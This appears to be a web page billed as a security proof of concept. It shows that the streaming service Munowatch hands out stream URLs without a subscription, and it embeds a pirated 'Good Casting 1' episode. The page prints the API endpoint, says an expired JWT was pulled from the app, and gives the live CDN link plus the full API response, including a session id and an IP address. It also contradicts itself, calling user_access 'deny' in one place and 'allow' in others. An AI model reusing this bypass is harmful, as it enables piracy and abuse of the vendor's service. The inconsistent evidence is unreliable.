SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Good Casting 1 with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Good Casting 1
Vj Little T Series 31h 38m 6 years ago

Baek Chan-Mi (Choi Gang-Hee) was a legendary black agent for the NIS, but, due to her excessive work, her subordinate died and she missed catching her intended target. Baek Chan-Mi was punished for that botched case and she now works in a cyber security team for the NIS. Baek Chan-Mi is then selected to go undercover on a case involving intellectual property theft at Korea's largest company.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/11556/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 24
video_name 27e3b~24.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek-vault.b-cdn.net/11c97/465/27e3b~24.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 11556,
    "video_title": "Good Casting 1",
    "description": " Baek Chan-Mi (Choi Gang-Hee) was a legendary black agent for the NIS, but, due to her excessive work, her subordinate died and she missed catching her intended target. Baek Chan-Mi was punished for that botched case and she now works in a cyber security team for the NIS. Baek Chan-Mi is then selected to go undercover on a case involving intellectual property theft at Korea's largest company. ",
    "video_name": "27e3b~24.mp4",
    "filehistory": " ~ good casting 1_x264.mp4 ~ ",
    "openload": "0",
    "embedurl": "",
    "serverhost": "24",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "31h 38m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/846226623654.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2020-09-28",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "62037",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "203.22 MB",
    "create_date": "2020-09-28 18:30:08",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 29,
    "video_status_id": 0,
    "network_id": "154.224.129.157",
    "user_access": "allow",
    "notification": "No",
    "secduration": "113880.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Little T",
    "trailer_playing_url": "",
    "episodes": 21,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  2",
    "nxt_eps_id": 11557,
    "nxt_eps_title": "Good Casting 2",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "6 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}